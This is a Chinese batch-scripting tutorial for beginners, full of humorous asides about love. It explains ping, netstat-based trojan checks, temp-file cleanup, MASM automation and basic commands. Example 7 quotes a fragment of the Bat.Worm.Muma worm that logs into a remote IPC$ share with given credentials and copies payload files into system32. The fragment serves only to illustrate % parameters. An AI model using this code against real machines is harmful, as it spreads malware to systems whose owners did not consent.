OK,never claver and get to business (闲话少说言归正传)。批处理，也称为批处理脚本，英文译为 BATCH，批处理文件后缀 BAT 就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就 ok 了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是 DOS。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句“闲话”：要学好批处理，DOS 基础一定要牢！当然脑子灵活也是很重要的一方面。

例一、先给出一个最 easy 的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为 name.bat 然后执行（以后文中只给出代码，保存和执行方式类似）：

```
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
```

是不是都能看的懂？是不是很 easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为 a.txt 的文件，它里面记录的信息可以帮助你迅速找到速度最快的 QQ 服务器，从而远离“从服务器中转”那一痛苦的过程。这里>的意思，是把前面命令得到的东西放到后面所给的地方，>>的作用，和>的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个 a.txt 文件越来越大（想到如何搞破坏了？？）。By the way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器 IP，是不是很爽？后面还将详细介绍。

例二、再给出一个已经过时的例子（a.bat）：

```
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat
```

为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的 QQ 了（ KAO，我的 QQ 还显示好友三围呢！！），所以它几乎用不上了。但曾经它的作用是不可小窥的：删除 QQ 的广告，让对话框干干净净。这里用的地址是 QQ 的默认安装地址，默认批处理文件名为 a.bat，你当然可以根据情况自行修改。在这个脚本中使用了 if 命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执行后的 DOS 窗口，不按 CTRL+C 强行终止命令，它就一直监视是否有广告图片（QQ 也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。

例三，使用批处理脚本查是否中冰河。脚本内容如下：

```
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
```

这里利用了 netstat 命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很容易的判断出来是否被人种了冰河。然这不是确定的，因为冰河默认的端口 7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令&&和管道命令|，后面将详细介绍。

例四，借批处理自动清除系统垃圾，脚本如下：

```
@echo off
if exist c:\windows\temp\*. * del c:\windows\temp\*. *
if exist c:\windows\Tempor~1\*. * del c:\windows\Tempor~1\*. *
if exist c:\windows\History\*. * del c:\windows\History\*. *
if exist c:\windows\recent\*. * del c:\windows\recent\*. *
```

将以上脚本内容保存到 autoexec.bat 里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS 不支持长文件名，所以就出现了 Tempor~1 这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。

怎么样，看到这里，你对批处理脚本是不是已经有点兴趣了？是不是发现自己已经慢慢爱上了这个东东？别高兴的太早，爱不是一件简单的事，它也许能带给你快乐和幸福，当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话，I 服了 YOU！继续努力吧，也许到最后你不一定得到真爱（真的有这可能，爱过的人都知道），但你可以体会到整个爱的过程，就是如此。酸、苦和辣，有没有甜天知道。

为什么会把批处理和爱情扯上关系？不是我无聊，也不是因为这样写有趣多少，原因有二：其一，批处理和爱情有很多相同的地方，有些地方我用“专业”的行话解释不清（我不怀疑自己的表达能力，而是事情本身就不好说清楚），说了=没说，但用地球人都知道的爱情的比喻（爱情是什么？我**怎么知道！！），没准你心里一下就亮堂了，事半功倍，何乐而不为？其二，我这段时间状态不是很好，感冒发烧头疼鼻塞，但主要还是感情上精神摧残，搞的人烦透了，借写教程之际感慨几句，大家就当买狗皮膏药了，完全可以省略不看（也许还真有点效果----不至于让你看着看着就睡着了，把头磕了来找我报销医药费）。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。

看过第一章的朋友，一定对批处理有了初步的印象，知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗？其实很简单：思路要灵活！没有做不到的，只有想不到的。这和爱情就有点不同了，因为爱情的世界是两个人的世界，一厢情愿不叫爱情（补充：那叫单恋。废话！）而批处理却是一个人的天堂，你可以为所欲为，没有达不到的境界！

批处理看起来杂乱无章，但它的逻辑性之强，绝对不比其他程序语言（如汇编）低，如果你写的脚本是一堆乱麻，虽然每一行命令都正确，但从头执行到尾后，不一定得到你想要的结果，也许是一屏幕的 Bad command or fail name。这又和爱情有了共同点：按步骤来经营，缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友，相信没有不肯定这句话的。我的爱情批处理，输出的结果不是 Bad command or fail name，屏幕是这么显示的：‘你的爱情’不是内部或外部命令，也不是可运行的程序或批处理文件。然后就是光标不停闪动，等待这下一次错误的输入。

从这一章开始，将由浅入深的介绍批处理中常用的命令，很多常见 DOS 命令在批处理脚本中有这广泛的应用，它们是批处理脚本的 BODY 部分，但批处理比 DOS 更灵活多样，更具备自动化。要学好批处理，DOS 一定要有比较扎实的基础。这里只讲述一些比较少用（相对来说）的 DOS 命令，常用命令如 COPY、DIR 等就不做介绍了（这些看似简单的命令实际复杂的很，我怕自己都说不清楚！）。

例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇编程序（MASM）的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很（只有经历过的朋友才懂得）。如何使这个过程变的简单呢？在我们搞汇编课程设计时，我“被逼”写了这个脚本，用起来很爽，呵呵。看看脚本内容：

```
@echo off
::close echo
cls
::clean screen
echo          This programme is to make the MASM programme automate
::display info
echo          Edit by CODERED
::display info
echo          Mailto me : qqkiller***@sina.com
::display info
if "%1"==" " goto usage
::if input without paramater goto usage
if "%1"==" /?" goto usage
::if paramater is "/" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
```

```
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
```

先不要被这一堆的东西给吓怕了，静下心来仔细的看（回想一下第一章中第一段是怎么写的！！）。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内容解释的 E 文（害怕 E 文的朋友也不用担心，都很 easy，一看就懂了，实在不懂了不会查词典啊，这么懒？），在脚本执行时不显示，也不起任何作用。倒数第 5 行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中 masm 和 link 是汇编程序和连接程序，必须和 edit 程序以及你要编辑的源代码（当然还有这个脚本，废话！）一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码到可执行 exe 文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误（汇编不成功），则自动暂停显示错误信息，并在按任意键后自动进入编辑源代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的 exe 文件。另外，由于批处理命令的简单性和灵活性，这个脚本还具备良好的可改进性，简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友，一定别忘了实习一下！

在这个脚本中出现了如下几个命令：@、echo、::、pause、:和 goto、%以及 if。而这一章就将讲述这几个命令。

1、@

这个符号大家都不陌生，email 的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off 中，@的作用就是让脚本在执行时不显示后面的 echo off 部分。这下懂了吧？还是不太懂？没关系，看完 echo 命令简介，自然就懂了。

2、echo

中文为“反馈”、“回显”的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了 echo on 和 echo off 两个命令了。直接执行 echo 命令将显示当前 echo 命令状态（off 或 on）执行 echo off 将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行 echo on 命令。在例五中，首行的@命令和 echo off 命令联合起来，达到了两个目的：不显示 echo off 命令本身，不显示以后各行中的命令本身。的确是有乱，但你要是练习一下的话，3 分钟包会，不会的退钱！

echo 命令的另一种用法一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT 将在脚本执行后的窗口中显示，而 echo 命令本身不显示（为什么？？）。

echo 命令的另一种用法二：可以直接编辑文本文件。例六：

```
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
```

以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个 a.bat 的文件，直接执行就会得到结果。

3、::

这个命令的作用很简单，它是注释命令，在批处理脚本中和 rem 命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和 C 语言中的 /*.....*/ 类似。地球人都能看懂，就不多说了。

4、pause

中文为“暂停”的意思（看看你的 workman 上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续...。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是 masm 程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。

5、:和 goto

为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto 是个跳转命令，:是一个标签。当程序运行到 goto 时，将自动跳转到:定义的部分去执行了（是不是分不开？）。例五中倒数第 5 行行首出现一个:，则程序在运行到 goto 时就自动跳转到:标签定义的部分执行，结果是显示脚本 usage（usage 就是标签名称）。不难看出，goto 命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto 命令也经常和 if 命令结合使用。至于这两个命令具体用法，参照例五。

goto 命令的另一种用法一：提前结束程序。在程序中间使用 goto 命令跳转到某一标签，而这一标签的内容却定义为退出。如：

```
.....
goto end
.....
:end
```

这里:end 在脚本最后一行！其实这个例子很弱智，后面讲了 if 命令和组合命令你就知道了。

6、%

这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了 51%了。看看例七：

```
net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s
```

以上代码是 Bat.Worm.Muma 病毒中的一部分，%1 代表的 IP，%2 代表的 username，%3 代表 password。执行形式为：脚本文件名 参数一 参数二。假设这个脚本被保存为 a.bat，则执行形式如下：a IP username password。这里 IP、username、password 是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚本执行过程中，脚本就自动用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换 1%、2%和 3%，这样就达到了灵活运用目的（试想，如果在脚本中直接把 IP、username 和 password 都定义死，那么脚本的作用也就被固定了，但如果使用 %的话，不同的参数可以达到不同的目的，是不是更灵活？）。

关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！

这一章就写到这里了。可能有朋友问了：怎么没介绍 if 命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，恐怕也够消化的了。记住一句话：DOS 是批处理的 BODY，任何一个 DOS 命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个 DOS 命令的集合而

已，相信自称为天才的你已经把计算机等级考试上机试题中的 DOS 部分用批处理来自动化完成了。

烦！就好像一个半老女人到了更年期，什么事都想唠叨几句，什么事都感到不舒服，看谁谁不爽。明知山有虎，偏向虎山行，最后留下一身伤痕无功而返时，才发现自己竟然如此脆弱，如此渺小，如此不堪一击。徘徊在崩溃的边缘，突然回想起了自己最后一次扁人的那一刻，还真有点怀念（其实我很不喜欢扁人，更不喜欢被人扁）。我需要发泄，我用手指拼命的敲打着键盘，在一阵接一阵有节奏的声音中，屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗？中国人还是厉害，早在几千年前孔老夫子就说过“唯女子与小人，难养也”，真**有先见之明，佩服！虽然是在发泄，不过大家请放心，以我的脾气，既然决定写这篇教程，就一定会尽力去写好，写完美，绝对不给自己留下遗憾，要不这教程就不是我写的！